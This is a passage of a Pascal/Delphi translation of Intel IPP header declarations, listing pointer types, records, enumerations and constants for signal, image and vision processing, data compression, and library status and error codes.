IppsDCTInvSpec_32fPtrPtr = ^IppsDCTInvSpec_32fPtr;
IppsDCTFwdSpec_64fPtr = OpaquePtr;
IppsDCTInvSpec_64fPtr = OpaquePtr;
IppsDCTFwdSpec_64fPtrPtr = ^IppsDCTFwdSpec_64fPtr;
IppsDCTInvSpec_64fPtrPtr = ^IppsDCTInvSpec_64fPtr;
IppsWTFwdState_32fPtr = OpaquePtr;
IppsWTFwdState_8u32fPtr = OpaquePtr;
IppsWTFwdState_16s32fPtr = OpaquePtr;
IppsWTFwdState_16u32fPtr = OpaquePtr;
IppsWTInvState_32fPtr = OpaquePtr;
IppsWTInvState_32f8uPtr = OpaquePtr;
IppsWTInvState_32f16sPtr = OpaquePtr;
IppsWTInvState_32f16uPtr = OpaquePtr;
IppsIIRState_32fPtr = OpaquePtr;
IppsIIRState_32fcPtr = OpaquePtr;
IppsIIRState32f_16sPtr = OpaquePtr;
IppsIIRState32fc_16scPtr = OpaquePtr;
IppsIIRState_64fPtr = OpaquePtr;
IppsIIRState_64fcPtr = OpaquePtr;
IppsIIRState64f_32fPtr = OpaquePtr;
IppsIIRState64fc_32fcPtr = OpaquePtr;
IppsIIRState64f_32sPtr = OpaquePtr;
IppsIIRState64fc_32scPtr = OpaquePtr;
IppsIIRState64f_16sPtr = OpaquePtr;
IppsIIRState64fc_16scPtr = OpaquePtr;
IppsIIRState_32fPtrPtr = ^IppsIIRState_32fPtr;
IppsIIRState_32fcPtrPtr = ^IppsIIRState_32fcPtr;
IppsIIRState32f_16sPtrPtr = ^IppsIIRState32f_16sPtr;
IppsIIRState32fc_16scPtrPtr = ^IppsIIRState32fc_16scPtr;
IppsIIRState_64fPtrPtr = ^IppsIIRState_64fPtr;
IppsIIRState_64fcPtrPtr = ^IppsIIRState_64fcPtr;
IppsIIRState64f_32fPtrPtr = ^IppsIIRState64f_32fPtr;
IppsIIRState64fc_32fcPtrPtr = ^IppsIIRState64fc_32fcPtr;
IppsIIRState64f_32sPtrPtr = ^IppsIIRState64f_32sPtr;
IppsIIRState64fc_32scPtrPtr = ^IppsIIRState64fc_32scPtr;
IppsIIRState64f_16sPtrPtr = ^IppsIIRState64f_16sPtr;
IppsIIRState64fc_16scPtrPtr = ^IppsIIRState64fc_16scPtr;
IppsFIRSpec_32fPtr = OpaquePtr;
IppsFIRSpec_64fPtr = OpaquePtr;
IppsFIRSpec_32fcPtr = OpaquePtr;
IppsFIRSpec_64fcPtr = OpaquePtr;
IppsFIRLMSState_32fPtr = OpaquePtr;
IppsFIRLMSState32f_16sPtr = OpaquePtr;
IppsFIRLMSState_32fPtrPtr = ^IppsFIRLMSState_32fPtr;
IppsFIRLMSState32f_16sPtrPtr = ^IppsFIRLMSState32f_16sPtr;
IppsHilbertSpecPtr = OpaquePtr;
IppsFIRSparseState_32fPtr = OpaquePtr;
IppsIIRSparseState_32fPtr = OpaquePtr;
IppsFIRSparseState_32fPtrPtr = ^IppsFIRSparseState_32fPtr;
IppsIIRSparseState_32fPtrPtr = ^IppsIIRSparseState_32fPtr;
IppsResamplingPolyphase_16sPtr = OpaquePtr;
IppsResamplingPolyphaseFixed_16sPtr = OpaquePtr;
IppsResamplingPolyphase_32fPtr = OpaquePtr;
IppsResamplingPolyphaseFixed_32fPtr = OpaquePtr;
{----------------------------------------------------------------------------}
{ Below are ippIP domain specific definitions }
{----------------------------------------------------------------------------}
const
IPP_TEMPORAL_COPY = 0;
IPP_NONTEMPORAL_STORE = 1;
IPP_NONTEMPORAL_LOAD = 2;
type
IppEnum = Int32;
{ define IPP_DEG_TO_RAD( deg ) ( (deg)/180.0 * IPP_PI ) }
const {duplicate identifier ippiNorm, AvO}
k_ippiNormNone = $00000000; { default }
k_ippiNorm = $00000100; { normalized form }
k_ippiNormCoefficient = $00000200; { correlation coefficient in the range [-1.0 ... 1.0] }
k_ippiNormMask = $0000FF00;
type
IppiNormOp = Int32;
const
ippiROIFull = $00000000;
ippiROIValid = $00010000;
ippiROISame = $00020000;
ippiROIMask = $00FF0000;
type
IppiROIShape = Int32;
type
IppChannels =
( ippC0,
ippC1,
ippC2,
ippC3,
ippC4,
ippP2,
ippP3,
ippP4,
ippAC1,
ippAC4,
ippA0C4,
ippAP4);
const
ippBorderConst = 0;
ippBorderRepl = 1;
ippBorderWrap = 2;
ippBorderMirror = 3; { left border: 012... -> 21012... }
ippBorderMirrorR = 4; { left border: 012... -> 210012... }
ippBorderInMem = 6;
ippBorderTransp = 7;
ippBorderInMemTop = $0010;
ippBorderInMemBottom = $0020;
ippBorderInMemLeft = $0040;
ippBorderInMemRight = $0080;
type
IppiBorderType = Int32;
IppiAxis = ( ippAxsHorizontal, ippAxsVertical, ippAxsBoth, ippAxs45, ippAxs135);
IppiRectPtr = ^IppiRect;
IppiRect =
record
x : Int32;
y : Int32;
width : Int32;
height : Int32
end;
IppiPointPtr = ^IppiPoint;
IppiPoint =
record
x : Int32;
y : Int32
end;
IppiSizePtr = ^IppiSize;
IppiSize =
record
width : Int32;
height : Int32
end;
IppiPoint_32fPtr = ^IppiPoint_32f;
IppiPoint_32f =
record
x : Ipp32f;
y : Ipp32f
end;
const
ippMskSize1x3 = 13;
ippMskSize1x5 = 15;
ippMskSize3x1 = 31;
ippMskSize3x3 = 33;
ippMskSize5x1 = 51;
ippMskSize5x5 = 55;
type
IppiMaskSize = Int32;
const
IPPI_INTER_NN = 1;
IPPI_INTER_LINEAR = 2;
IPPI_INTER_CUBIC = 4;
IPPI_INTER_CUBIC2P_BSPLINE = 5; { two-parameter cubic filter (B=1, C=0) }
IPPI_INTER_CUBIC2P_CATMULLROM = 6; { two-parameter cubic filter (B=0, C=1/2) }
IPPI_INTER_CUBIC2P_B05C03 = 7; { two-parameter cubic filter (B=1/2, C=3/10) }
IPPI_INTER_SUPER = 8;
IPPI_INTER_LANCZOS = 16;
IPPI_ANTIALIASING = 1 shl 29;
IPPI_SUBPIXEL_EDGE = 1 shl 30;
IPPI_SMOOTH_EDGE = 1 shl 31;
const
ippNearest = IPPI_INTER_NN;
ippLinear = IPPI_INTER_LINEAR;
ippCubic = IPPI_INTER_CUBIC2P_CATMULLROM;
ippLanczos = IPPI_INTER_LANCZOS;
ippHahn = 0;
ippSuper = IPPI_INTER_SUPER;
type
IppiInterpolationType = Int32;
IppiFraction =
( ippPolyphase_1_2,
ippPolyphase_3_5,
ippPolyphase_2_3,
ippPolyphase_7_10,
ippPolyphase_3_4);
const
IPP_FASTN_ORIENTATION = $0001;
IPP_FASTN_NMS = $0002;
IPP_FASTN_CIRCLE = $0004;
IPP_FASTN_SCORE_MODE0 = $0020;
type
IppiAlphaType =
( ippAlphaOver,
ippAlphaIn,
ippAlphaOut,
ippAlphaATop,
ippAlphaXor,
ippAlphaPlus,
ippAlphaOverPremul,
ippAlphaInPremul,
ippAlphaOutPremul,
ippAlphaATopPremul,
ippAlphaXorPremul,
ippAlphaPlusPremul);
IppiDeconvFFTState_32f_C1RPtr = OpaquePtr;
IppiDeconvFFTState_32f_C3RPtr = OpaquePtr;
IppiDeconvLR_32f_C1RPtr = OpaquePtr;
IppiDeconvLR_32f_C3RPtr = OpaquePtr;
const
ippiFilterBilateralGauss = 100;
ippiFilterBilateralGaussFast = 101;
type
IppiFilterBilateralType = Int32;
IppiFilterBilateralSpecPtr = OpaquePtr;
const
ippDistNormL1 = $00000002;
type
IppiDistanceMethodType = Int32;
IppiResizeFilterType = ( ippResizeFilterHann, ippResizeFilterLanczos);
IppiResizeFilterStatePtr = OpaquePtr;
IppiBorderSizePtr = ^IppiBorderSize;
IppiBorderSize =
record
borderLeft : Ipp32u;
borderTop : Ipp32u;
borderRight : Ipp32u;
borderBottom : Ipp32u
end;
IppiWarpDirection = ( ippWarpForward, ippWarpBackward);
IppiWarpTransformType = ( ippWarpAffine, ippWarpPerspective, ippWarpBilinear);
type
IppiResizeSpec_32fPtr = OpaquePtr;
IppiResizeYUV422SpecPtr = OpaquePtr;
IppiResizeYUV420SpecPtr = OpaquePtr;
IppiResizeSpec_64fPtr = OpaquePtr;
IppiWarpSpecPtr = OpaquePtr;
IppiFilterBorderSpecPtr = OpaquePtr;
IppiThresholdAdaptiveSpecPtr = OpaquePtr;
IppiHistogramSpecPtr = OpaquePtr;
type
IppiHOGConfigPtr = ^IppiHOGConfig;
IppiHOGConfig =
record
cvCompatible : Int32; { openCV compatible output format }
cellSize : Int32; { squre cell size (pixels) }
blockSize : Int32; { square block size (pixels) }
blockStride : Int32; { block displacement (the same for x- and y- directions) }
nbins : Int32; { required number of bins }
sigma : Ipp32f; { gaussian factor of HOG block weights }
l2thresh : Ipp32f; { normalization factor }
winSize : IppiSize { detection window size (pixels) }
end;
type
IppiFFTSpec_C_32fcPtr = OpaquePtr;
IppiFFTSpec_R_32fPtr = OpaquePtr;
IppiDFTSpec_C_32fcPtr = OpaquePtr;
IppiDFTSpec_R_32fPtr = OpaquePtr;
IppiDCTFwdSpec_32fPtr = OpaquePtr;
IppiDCTInvSpec_32fPtr = OpaquePtr;
IppiWTFwdSpec_32f_C1RPtr = OpaquePtr;
IppiWTInvSpec_32f_C1RPtr = OpaquePtr;
IppiWTFwdSpec_32f_C3RPtr = OpaquePtr;
IppiWTInvSpec_32f_C3RPtr = OpaquePtr;
IppiMomentState_64fPtr = OpaquePtr;
type
IppiHuMoment_64fPtr = ^IppiHuMoment_64f;
IppiHuMoment_64f = array[ 0..6] of Ipp64f;
type
IppiLUT_SpecPtr = OpaquePtr;
const
IPP_HOG_MAX_CELL = 16; { max size of CELL }
IPP_HOG_MAX_BLOCK = 64; { max size of BLOCK }
IPP_HOG_MAX_BINS = 16; { max number of BINS }
type
IppiHOGSpecPtr = OpaquePtr;
{ Below are 3D Image (Volume) Processing specific definitions }
type
IpprVolumePtr = ^IpprVolume;
IpprVolume =
record
width : Int32;
height : Int32;
depth : Int32
end;
IpprCuboidPtr = ^IpprCuboid;
IpprCuboid =
record
x : Int32;
y : Int32;
z : Int32;
width : Int32;
height : Int32;
depth : Int32
end;
IpprPointPtr = ^IpprPoint;
IpprPoint =
record
x : Int32;
y : Int32;
z : Int32
end;
{----------------------------------------------------------------------------}
{ Below are ippCV domain specific definitions }
{----------------------------------------------------------------------------}
type
IppiDifferentialKernel =
( ippFilterSobelVert,
ippFilterSobelHoriz,
ippFilterSobel,
ippFilterScharrVert,
ippFilterScharrHoriz,
ippFilterScharr,
ippFilterCentralDiffVert,
ippFilterCentralDiffHoriz,
ippFilterCentralDiff);
IppiKernelType =
( ippKernelSobel,
ippKernelScharr,
ippKernelSobelNeg);
IppiNorm =
( ippiNormInf,
ippiNormL1,
ippiNormL2,
ippiNormFM);
type
IppiMorphStatePtr = OpaquePtr;
IppiMorphAdvStatePtr = OpaquePtr;
IppiMorphGrayState_8uPtr = OpaquePtr;
IppiMorphGrayState_32fPtr = OpaquePtr;
IppiConvStatePtr = OpaquePtr;
type
IppiConnectedCompPtr = ^IppiConnectedComp;
IppiConnectedComp =
record
area : Ipp64f; { area of the segmented component }
value : array[ 0..2] of Ipp64f; { gray scale value of the segmented component }
rect : IppiRect { bounding rectangle of the segmented component }
end;
type
IppiPyramidStatePtr = OpaquePtr;
IppiPyramidDownState_8u_C1RPtr = IppiPyramidStatePtr;
IppiPyramidDownState_16u_C1RPtr = IppiPyramidStatePtr;
IppiPyramidDownState_32f_C1RPtr = IppiPyramidStatePtr;
IppiPyramidDownState_8u_C3RPtr = IppiPyramidStatePtr;
IppiPyramidDownState_16u_C3RPtr = IppiPyramidStatePtr;
IppiPyramidDownState_32f_C3RPtr = IppiPyramidStatePtr;
IppiPyramidUpState_8u_C1RPtr = IppiPyramidStatePtr;
IppiPyramidUpState_16u_C1RPtr = IppiPyramidStatePtr;
IppiPyramidUpState_32f_C1RPtr = IppiPyramidStatePtr;
IppiPyramidUpState_8u_C3RPtr = IppiPyramidStatePtr;
IppiPyramidUpState_16u_C3RPtr = IppiPyramidStatePtr;
IppiPyramidUpState_32f_C3RPtr = IppiPyramidStatePtr;
IppiPyramidDownState_8u_C1RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidDownState_16u_C1RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidDownState_32f_C1RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidDownState_8u_C3RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidDownState_16u_C3RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidDownState_32f_C3RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidUpState_8u_C1RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidUpState_16u_C1RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidUpState_32f_C1RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidUpState_8u_C3RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidUpState_16u_C3RPtrPtr = ^IppiPyramidStatePtr;
IppiPyramidUpState_32f_C3RPtrPtr = ^IppiPyramidStatePtr;
type
IppiPyramidPtrPtr = ^IppiPyramidPtr;
IppiPyramidPtr = ^IppiPyramid;
IppiPyramid =
record
pImage : Ipp8uPtrPtr;
pRoi : IppiSizePtr;
pRate : Ipp64fPtr;
pStep : Int32Ptr;
pState : Ipp8uPtr;
level : Int32
end;
IppiOptFlowPyrLKPtr = OpaquePtr;
type
IppiOptFlowPyrLK_8u_C1RPtr = IppiOptFlowPyrLKPtr;
IppiOptFlowPyrLK_16u_C1RPtr = IppiOptFlowPyrLKPtr;
IppiOptFlowPyrLK_32f_C1RPtr = IppiOptFlowPyrLKPtr;
IppiOptFlowPyrLK_8u_C1RPtrPtr = ^IppiOptFlowPyrLKPtr;
IppiOptFlowPyrLK_16u_C1RPtrPtr = ^IppiOptFlowPyrLKPtr;
IppiOptFlowPyrLK_32f_C1RPtrPtr = ^IppiOptFlowPyrLKPtr;
IppiHaarClassifier_32fPtr = OpaquePtr;
IppiHaarClassifier_32sPtr = OpaquePtr;
IppFGHistogramState_8u_C1RPtr = OpaquePtr;
IppFGHistogramState_8u_C3RPtr = OpaquePtr;
IppFGGaussianState_8u_C1RPtr = OpaquePtr;
IppFGGaussianState_8u_C3RPtr = OpaquePtr;
type
IppiInpaintFlag =
( IPP_INPAINT_TELEA,
IPP_INPAINT_NS);
type
IppFilterGaussianSpecPtr = OpaquePtr;
IppiInpaintState_8u_C1RPtr = OpaquePtr;
IppiInpaintState_8u_C3RPtr = OpaquePtr;
IppiInpaintState_8u_C1RPtrPtr = ^IppiInpaintState_8u_C1RPtr;
IppiInpaintState_8u_C3RPtrPtr = ^IppiInpaintState_8u_C3RPtr;
IppiHoughProbSpecPtr = OpaquePtr;
IppiFastNSpecPtr = OpaquePtr;
type
IppiCornerFastNPtr = ^IppiCornerFastN;
IppiCornerFastN =
record
x : Int32;
y : Int32;
cornerType : Int32;
orientation : Int32;
angle : single;
score : single
end;
type
IppFGMMState_8u_C3RPtr = OpaquePtr;
type
IppFGMModelPtr = ^IppFGMModel;
IppFGMModel =
record
numFrames : Word32;
maxNGauss : Word32;
varInit : Ipp32f;
varMin : Ipp32f;
varMax : Ipp32f;
varWBRatio : Ipp32f;
bckgThr : Ipp32f;
varNGRatio : Ipp32f;
reduction : Ipp32f;
shadowValue : Ipp8u;
shadowFlag : char;
shadowRatio : Ipp32f
end;
const
IPP_SEGMENT_QUEUE = $01;
IPP_SEGMENT_DISTANCE = $02;
IPP_SEGMENT_BORDER_4 = $40;
IPP_SEGMENT_BORDER_8 = $80;
{ define IPP_TRUNC(a,b) ((a)&~((b)-1)) }
{ define IPP_APPEND(a,b) (((a)+(b)-1)&~((b)-1)) }
{----------------------------------------------------------------------------}
{ Below are ippCC domain specific definitions }
{----------------------------------------------------------------------------}
const
IPP_UPPER = 1;
IPP_LEFT = 2;
IPP_CENTER = 4;
IPP_RIGHT = 8;
IPP_LOWER = 16;
IPP_UPPER_LEFT = 32;
IPP_UPPER_RIGHT = 64;
IPP_LOWER_LEFT = 128;
IPP_LOWER_RIGHT = 256;
type
IppiDitherType =
( ippDitherNone, ippDitherFS, ippDitherJJN, ippDitherStucki, ippDitherBayer);
{----------------------------------------------------------------------------}
{ Below are ippCH domain specific definitions }
{----------------------------------------------------------------------------}
type
IppRegExpFindPtr = ^IppRegExpFind;
IppRegExpFind =
record
pFind : Pointer;
lenFind : Int32
end;
type
IppRegExpStatePtr = OpaquePtr;
type
IppRegExpFormat =
( ippFmtASCII,
ippFmtUTF8);
type
IppRegExpReplaceStatePtr = OpaquePtr;
{----------------------------------------------------------------------------}
{ Below are ippDC domain specific definitions }
{----------------------------------------------------------------------------}
type
IppMTFState_8uPtr = OpaquePtr;
type
IppBWTSortAlgorithmHint =
( ippBWTItohTanakaLimSort,
ippBWTItohTanakaUnlimSort,
ippBWTSuffixSort,
ippBWTAutoSort);
type
IppLZSSState_8uPtr = OpaquePtr;
IppLZ77State_8uPtr = OpaquePtr;
type
IppLZ77ComprLevel =
( IppLZ77FastCompr,
IppLZ77AverageCompr,
IppLZ77BestCompr);
IppLZ77Chcksm =
( IppLZ77NoChcksm,
IppLZ77Adler32,
IppLZ77CRC32);
IppLZ77Flush =
( IppLZ77NoFlush,
IppLZ77SyncFlush,
IppLZ77FullFlush,
IppLZ77FinishFlush);
IppLZ77PairPtr = ^IppLZ77Pair;
IppLZ77Pair =
record
length : Ipp16u;
offset : Ipp16u
end;
IppLZ77DeflateStatus =
( IppLZ77StatusInit,
IppLZ77StatusLZ77Process,
IppLZ77StatusHuffProcess,
IppLZ77StatusFinal);
IppLZ77HuffMode =
( IppLZ77UseFixed,
IppLZ77UseDynamic,
IppLZ77UseStored);
IppLZ77InflateStatus =
( IppLZ77InflateStatusInit,
IppLZ77InflateStatusHuffProcess,
IppLZ77InflateStatusLZ77Process,
IppLZ77InflateStatusFinal);
IppInflateStatePtr = ^IppInflateState;
IppInflateState =
record
pWindow : Ipp8uPtr; { pointer to the sliding window (the dictionary for the LZ77 algorithm) }
winSize : Word32; { size of the sliding window }
tableType : Word32; { type of Huffman code tables ( example : for ; 0 - tables for Fixed Huffman codes) }
tableBufferSize : Word32 { (ENOUGH = 2048) * (sizeof(code) = 4) - sizeof(IppInflateState) }
end;
IppInflateModePtr = ^IppInflateMode;
IppInflateMode = { this type is used as a translator of the inflate_mode type from zlib }
( ippTYPE,
ippLEN,
ippLENEXT);
IppDeflateFreqTablePtr = ^IppDeflateFreqTable;
IppDeflateFreqTable =
record
freq : Ipp16u;
code : Ipp16u
end;
IppDeflateFreqTable30Ptr = ^IppDeflateFreqTable30;
IppDeflateFreqTable30 = array[ 0..29] of IppDeflateFreqTable;
IppDeflateFreqTable286Ptr = ^IppDeflateFreqTable286;
IppDeflateFreqTable286 = array[ 0..285] of IppDeflateFreqTable;
IppDeflateHuffCodePtr = ^IppDeflateHuffCode;
IppDeflateHuffCode =
record
code : Ipp16u;
len : Ipp16u
end;
IppDeflateHuffCode30Ptr = ^IppDeflateHuffCode30;
IppDeflateHuffCode30 = array[ 0..29] of IppDeflateHuffCode;
IppDeflateHuffCode286Ptr = ^IppDeflateHuffCode286;
IppDeflateHuffCode286 = array[ 0..285] of IppDeflateHuffCode;
type
IppRLEState_BZ2Ptr = OpaquePtr;
IppEncodeHuffState_BZ2Ptr = OpaquePtr;
IppDecodeHuffState_BZ2Ptr = OpaquePtr;
type
IppLZOMethod =
( IppLZO1XST, { Single-threaded, generic LZO-compatible}
IppLZO1XMT); { Multi-threaded }
type
IppLZOState_8uPtr = OpaquePtr;
{ ----------------------------------------------------------------------------
The following enumerator defines a status of IPP operations
negative value means error
}
const
ippStsNotSupportedModeErr = -9999; { The requested mode is currently not supported. }
ippStsCpuNotSupportedErr = -9998; { The target CPU is not supported. }
ippStsInplaceModeNotSupportedErr = -9997; { The inplace operation is currently not supported. }
ippStsIIRIIRLengthErr = -234; { Vector length for IIRIIR function is less than 3*(IIR order) }
ippStsWarpTransformTypeErr = -233; { The warp transform type is illegal }
ippStsExceededSizeErr = -232; { Requested size exceeded the maximum supported ROI size }
ippStsWarpDirectionErr = -231; { The warp transform direction is illegal }
ippStsFilterTypeErr = -230; { The filter type is incorrect or not supported }
ippStsNormErr = -229; { The norm is incorrect or not supported }
ippStsAlgTypeErr = -228; { Algorithm type is not supported. }
ippStsMisalignedOffsetErr = -227; { The offset is not aligned with an element. }
ippStsQuadraticNonResidueErr = -226; { SQRT operation on quadratic non-residue value. }
ippStsBorderErr = -225; { Illegal value for border type.}
ippStsDitherTypeErr = -224; { Dithering type is not supported. }
ippStsH264BufferFullErr = -223; { Buffer for the output bitstream is full. }
ippStsWrongAffinitySettingErr= -222; { An affinity setting does not correspond to the affinity setting that was set by f.ippSetAffinity(). }
ippStsLoadDynErr = -221; { Error when loading the dynamic library. }
ippStsPointAtInfinity = -220; { Point at infinity is detected. }
ippStsUnknownStatusCodeErr = -216; { Unknown status code. }
ippStsOFBSizeErr = -215; { Incorrect value for crypto OFB block size. }
ippStsLzoBrokenStreamErr = -214; { LZO safe decompression function cannot decode LZO stream. }
ippStsRoundModeNotSupportedErr = -213; { Rounding mode is not supported. }
ippStsDecimateFractionErr = -212; { Fraction in Decimate is not supported. }
ippStsWeightErr = -211; { Incorrect value for weight. }
ippStsQualityIndexErr = -210; { Cannot calculate the quality index for an image filled with a constant. }
ippStsIIRPassbandRippleErr = -209; { Ripple in passband for Chebyshev1 design is less than zero, equal to zero, or greater than 29. }
ippStsFilterFrequencyErr = -208; { Cutoff frequency of filter is less than zero, equal to zero, or greater than 0.5. }
ippStsFIRGenOrderErr = -207; { Order of the FIR filter for design is less than 1. }
ippStsIIRGenOrderErr = -206; { Order of the IIR filter for design is less than 1, or greater than 12. }
ippStsConvergeErr = -205; { The algorithm does not converge. }
ippStsSizeMatchMatrixErr = -204; { The sizes of the source matrices are unsuitable. }
ippStsCountMatrixErr = -203; { Count value is less than, or equal to zero. }
ippStsRoiShiftMatrixErr = -202; { RoiShift value is negative or not divisible by the size of the data type. }
ippStsResizeNoOperationErr = -201; { One of the output image dimensions is less than 1 pixel. }
ippStsSrcDataErr = -200; { The source buffer contains unsupported data. }
ippStsMaxLenHuffCodeErr = -199; { Huff: Max length of Huffman code is more than the expected one. }
ippStsCodeLenTableErr = -198; { Huff: Invalid codeLenTable. }
ippStsFreqTableErr = -197; { Huff: Invalid freqTable. }
ippStsIncompleteContextErr = -196; { Crypto: set up of context is not complete. }
ippStsSingularErr = -195; { Matrix is singular. }
ippStsSparseErr = -194; { Positions of taps are not in ascending order, or are negative, or repetitive. }
ippStsBitOffsetErr = -193; { Incorrect bit offset value. }
ippStsQPErr = -192; { Incorrect quantization parameter value. }
ippStsVLCErr = -191; { Illegal VLC or FLC is detected during stream decoding. }
ippStsRegExpOptionsErr = -190; { RegExp: Options for the pattern are incorrect. }
ippStsRegExpErr = -189; { RegExp: The structure pRegExpState contains incorrect data. }
ippStsRegExpMatchLimitErr = -188; { RegExp: The match limit is exhausted. }
ippStsRegExpQuantifierErr = -187; { RegExp: Incorrect quantifier. }
ippStsRegExpGroupingErr = -186; { RegExp: Incorrect grouping. }
ippStsRegExpBackRefErr = -185; { RegExp: Incorrect back reference. }
ippStsRegExpChClassErr = -184; { RegExp: Incorrect character class. }
ippStsRegExpMetaChErr = -183; { RegExp: Incorrect metacharacter. }
ippStsStrideMatrixErr = -182; { Stride value is not positive or not divisible by the size of the data type. }
ippStsCTRSizeErr = -181; { Incorrect value for crypto CTR block size. }
ippStsJPEG2KCodeBlockIsNotAttached =-180; { Codeblock parameters are not attached to the state structure. }
ippStsNotPosDefErr = -179; { Matrix is not positive definite. }
ippStsEphemeralKeyErr = -178; { ECC: Invalid ephemeral key. }
ippStsMessageErr = -177; { ECC: Invalid message digest. }
ippStsShareKeyErr = -176; { ECC: Invalid share key. }
ippStsIvalidPublicKey = -175; { ECC: Invalid public key. }
ippStsIvalidPrivateKey = -174; { ECC: Invalid private key. }
ippStsOutOfECErr = -173; { ECC: Point out of EC. }
ippStsECCInvalidFlagErr = -172; { ECC: Invalid Flag. }
ippStsMP3FrameHeaderErr = -171; { Error in fields of the IppMP3FrameHeader structure. }
ippStsMP3SideInfoErr = -170; { Error in fields of the IppMP3SideInfo structure. }
ippStsBlockStepErr = -169; { Step for Block is less than 8. }
ippStsMBStepErr = -168; { Step for MB is less than 16. }
ippStsAacPrgNumErr = -167; { AAC: Invalid number of elements for one program. }
ippStsAacSectCbErr = -166; { AAC: Invalid section codebook. }
ippStsAacSfValErr = -164; { AAC: Invalid scalefactor value. }
ippStsAacCoefValErr = -163; { AAC: Invalid quantized coefficient value. }
ippStsAacMaxSfbErr = -162; { AAC: Invalid coefficient index. }
ippStsAacPredSfbErr = -161; { AAC: Invalid predicted coefficient index. }
ippStsAacPlsDataErr = -160; { AAC: Invalid pulse data attributes. }
ippStsAacGainCtrErr = -159; { AAC: Gain control is not supported. }
ippStsAacSectErr = -158; { AAC: Invalid number of sections. }
ippStsAacTnsNumFiltErr = -157; { AAC: Invalid number of TNS filters. }
ippStsAacTnsLenErr = -156; { AAC: Invalid length of TNS region. }
ippStsAacTnsOrderErr = -155; { AAC: Invalid order of TNS filter. }
ippStsAacTnsCoefResErr = -154; { AAC: Invalid bit-resolution for TNS filter coefficients. }
ippStsAacTnsCoefErr = -153; { AAC: Invalid coefficients of TNS filter. }
ippStsAacTnsDirectErr = -152; { AAC: Invalid direction TNS filter. }
ippStsAacTnsProfileErr = -151; { AAC: Invalid TNS profile. }
ippStsAacErr = -150; { AAC: Internal error. }
ippStsAacBitOffsetErr = -149; { AAC: Invalid current bit offset in bitstream. }
ippStsAacAdtsSyncWordErr = -148; { AAC: Invalid ADTS syncword. }
ippStsAacSmplRateIdxErr = -147; { AAC: Invalid sample rate index. }
ippStsAacWinLenErr = -146; { AAC: Invalid window length (not short or long). }
ippStsAacWinGrpErr = -145; { AAC: Invalid number of groups for current window length. }
ippStsAacWinSeqErr = -144; { AAC: Invalid window sequence range. }
ippStsAacComWinErr = -143; { AAC: Invalid common window flag. }
ippStsAacStereoMaskErr = -142; { AAC: Invalid stereo mask. }
ippStsAacChanErr = -141; { AAC: Invalid channel number. }
ippStsAacMonoStereoErr = -140; { AAC: Invalid mono-stereo flag. }
ippStsAacStereoLayerErr = -139; { AAC: Invalid this Stereo Layer flag. }
ippStsAacMonoLayerErr = -138; { AAC: Invalid this Mono Layer flag. }
ippStsAacScalableErr = -137; { AAC: Invalid scalable object flag. }
ippStsAacObjTypeErr = -136; { AAC: Invalid audio object type. }
ippStsAacWinShapeErr = -135; { AAC: Invalid window shape. }
ippStsAacPcmModeErr = -134; { AAC: Invalid PCM output interleaving indicator. }
ippStsVLCUsrTblHeaderErr = -133; { VLC: Invalid header inside table. }
ippStsVLCUsrTblUnsupportedFmtErr = -132; { VLC: Table format is not supported. }
ippStsVLCUsrTblEscAlgTypeErr = -131; { VLC: Ecs-algorithm is not supported. }
ippStsVLCUsrTblEscCodeLengthErr = -130; { VLC: Esc-code length inside table header is incorrect. }
ippStsVLCUsrTblCodeLengthErr = -129; { VLC: Code length inside table is incorrect. }
ippStsVLCInternalTblErr = -128; { VLC: Invalid internal table. }
ippStsVLCInputDataErr = -127; { VLC: Invalid input data. }
ippStsVLCAACEscCodeLengthErr = -126; { VLC: Invalid AAC-Esc code length. }
ippStsNoiseRangeErr = -125; { Noise value for Wiener Filter is out of range. }
ippStsUnderRunErr = -124; { Error in data under run. }
ippStsPaddingErr = -123; { Detected padding error indicates the possible data corruption. }
ippStsCFBSizeErr = -122; { Incorrect value for crypto CFB block size. }
ippStsPaddingSchemeErr = -121; { Invalid padding scheme. }
ippStsInvalidCryptoKeyErr = -120; { A compromised key causes suspansion of the requested cryptographic operation. }
ippStsLengthErr = -119; { Incorrect value for string length. }
ippStsBadModulusErr = -118; { Bad modulus caused a failure in module inversion. }
ippStsLPCCalcErr = -117; { Cannot evaluate linear prediction. }
ippStsRCCalcErr = -116; { Cannot compute reflection coefficients. }
ippStsIncorrectLSPErr = -115; { Incorrect values for Linear Spectral Pair. }
ippStsNoRootFoundErr = -114; { No roots are found for equation. }
ippStsJPEG2KBadPassNumber = -113; { Pass number exceeds allowed boundaries [0,nOfPasses-1]. }
ippStsJPEG2KDamagedCodeBlock= -112; { Codeblock for decoding contains damaged data. }
ippStsH263CBPYCodeErr = -111; { Illegal Huffman code is detected through CBPY stream processing. }
ippStsH263MCBPCInterCodeErr = -110; { Illegal Huffman code is detected through MCBPC Inter stream processing. }
ippStsH263MCBPCIntraCodeErr = -109; { Illegal Huffman code is detected through MCBPC Intra stream processing. }
ippStsNotEvenStepErr = -108; { Step value is not pixel multiple. }
ippStsHistoNofLevelsErr = -107; { Number of levels for histogram is less than 2. }
ippStsLUTNofLevelsErr = -106; { Number of levels for LUT is less than 2. }
ippStsMP4BitOffsetErr = -105; { Incorrect bit offset value. }
ippStsMP4QPErr = -104; { Incorrect quantization parameter. }
ippStsMP4BlockIdxErr = -103; { Incorrect block index. }
ippStsMP4BlockTypeErr = -102; { Incorrect block type. }
ippStsMP4MVCodeErr = -101; { Illegal Huffman code is detected during MV stream processing. }
ippStsMP4VLCCodeErr = -100; { Illegal Huffman code is detected during VLC stream processing. }
ippStsMP4DCCodeErr = -99; { Illegal code is detected during DC stream processing. }
ippStsMP4FcodeErr = -98; { Incorrect fcode value. }
ippStsMP4AlignErr = -97; { Incorrect buffer alignment . }
ippStsMP4TempDiffErr = -96; { Incorrect temporal difference. }
ippStsMP4BlockSizeErr = -95; { Incorrect size of a block or macroblock. }
ippStsMP4ZeroBABErr = -94; { All BAB values are equal to zero. }
ippStsMP4PredDirErr = -93; { Incorrect prediction direction. }
ippStsMP4BitsPerPixelErr = -92; { Incorrect number of bits per pixel. }
